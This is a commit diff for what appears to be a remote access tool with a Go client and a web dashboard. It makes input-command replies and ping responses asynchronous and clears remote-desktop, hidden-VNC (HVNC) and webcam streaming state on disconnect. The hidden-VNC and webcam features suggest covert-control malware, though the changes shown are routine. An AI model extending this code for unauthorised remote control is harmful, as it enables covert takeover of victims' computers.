fix issue with remote desktop inputs and move ping to async to prevent any issues with clients disconnecting from it.
This commit is contained in:
@@ -354,6 +354,10 @@ func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message stri
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func sendCommandResultAsync(env *runtime.Env, cmdID string) {
|
||||||
|
go sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
}
|
||||||
|
|
||||||
func payloadNumberToInt64(value interface{}) int64 {
|
func payloadNumberToInt64(value interface{}) int64 {
|
||||||
switch v := value.(type) {
|
switch v := value.(type) {
|
||||||
case int:
|
case int:
|
||||||
@@ -754,7 +758,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
return nil
|
return nil
|
||||||
case "desktop_mouse_move":
|
case "desktop_mouse_move":
|
||||||
if !env.MouseControl {
|
if !env.MouseControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
payload := payloadAsMap(envelope["payload"])
|
payload := payloadAsMap(envelope["payload"])
|
||||||
@@ -762,11 +766,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
y, _ := payloadInt32(payload, "y")
|
y, _ := payloadInt32(payload, "y")
|
||||||
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
|
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
|
||||||
setCursorPos(absX, absY)
|
setCursorPos(absX, absY)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
case "desktop_mouse_down":
|
case "desktop_mouse_down":
|
||||||
if !env.MouseControl {
|
if !env.MouseControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
payload := payloadAsMap(envelope["payload"])
|
payload := payloadAsMap(envelope["payload"])
|
||||||
@@ -778,11 +782,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
sendMouseDown(btn)
|
sendMouseDown(btn)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
case "desktop_mouse_up":
|
case "desktop_mouse_up":
|
||||||
if !env.MouseControl {
|
if !env.MouseControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
payload := payloadAsMap(envelope["payload"])
|
payload := payloadAsMap(envelope["payload"])
|
||||||
@@ -794,11 +798,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
sendMouseUp(btn)
|
sendMouseUp(btn)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
case "desktop_key_down":
|
case "desktop_key_down":
|
||||||
if !env.KeyboardControl {
|
if !env.KeyboardControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
@@ -812,11 +816,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
log.Printf("desktop: key down code=%s vk=%d", code, vk)
|
log.Printf("desktop: key down code=%s vk=%d", code, vk)
|
||||||
sendKeyDown(vk)
|
sendKeyDown(vk)
|
||||||
}
|
}
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
case "desktop_key_up":
|
case "desktop_key_up":
|
||||||
if !env.KeyboardControl {
|
if !env.KeyboardControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
@@ -830,11 +834,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
log.Printf("desktop: key up code=%s vk=%d", code, vk)
|
log.Printf("desktop: key up code=%s vk=%d", code, vk)
|
||||||
sendKeyUp(vk)
|
sendKeyUp(vk)
|
||||||
}
|
}
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
case "desktop_text":
|
case "desktop_text":
|
||||||
if !env.KeyboardControl {
|
if !env.KeyboardControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
@@ -848,7 +852,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
log.Printf("desktop: text input len=%d", len(text))
|
log.Printf("desktop: text input len=%d", len(text))
|
||||||
sendTextInput(text)
|
sendTextInput(text)
|
||||||
}
|
}
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultAsync(env, cmdID)
|
||||||
return nil
|
return nil
|
||||||
|
|
||||||
// ==================== HVNC COMMANDS ====================
|
// ==================== HVNC COMMANDS ====================
|
||||||
|
|||||||
@@ -15,10 +15,11 @@ func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]inter
|
|||||||
ts = time.Now().UnixMilli()
|
ts = time.Now().UnixMilli()
|
||||||
}
|
}
|
||||||
pong := wire.Pong{Type: "pong", TS: ts}
|
pong := wire.Pong{Type: "pong", TS: ts}
|
||||||
|
go func() {
|
||||||
if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil {
|
if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil {
|
||||||
log.Printf("ping: failed to send pong: %v", err)
|
log.Printf("ping: failed to send pong: %v", err)
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -296,6 +296,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
sendCmd("desktop_start", {});
|
sendCmd("desktop_start", {});
|
||||||
|
pushInputToggles();
|
||||||
|
pushCaptureToggles();
|
||||||
|
if (qualitySlider) pushQuality(qualitySlider.value);
|
||||||
|
pushResolution();
|
||||||
} else {
|
} else {
|
||||||
setStreamState("idle", "Stopped");
|
setStreamState("idle", "Stopped");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -729,6 +729,9 @@ export function handleWebSocketClose(
|
|||||||
setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail);
|
setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail);
|
||||||
deps.clearPendingNotificationScreenshots(clientId);
|
deps.clearPendingNotificationScreenshots(clientId);
|
||||||
deps.clearClientPluginState(clientId);
|
deps.clearClientPluginState(clientId);
|
||||||
|
deps.rdStreamingState.delete(clientId);
|
||||||
|
deps.hvncStreamingState.delete(clientId);
|
||||||
|
deps.webcamStreamingState.delete(clientId);
|
||||||
deps.notifyDashboard();
|
deps.notifyDashboard();
|
||||||
logger.info(`[close] ${clientId} code=${code} reason=${reason} disconnect_reason=${storedDisconnectReason || "unknown"}`);
|
logger.info(`[close] ${clientId} code=${code} reason=${reason} disconnect_reason=${storedDisconnectReason || "unknown"}`);
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user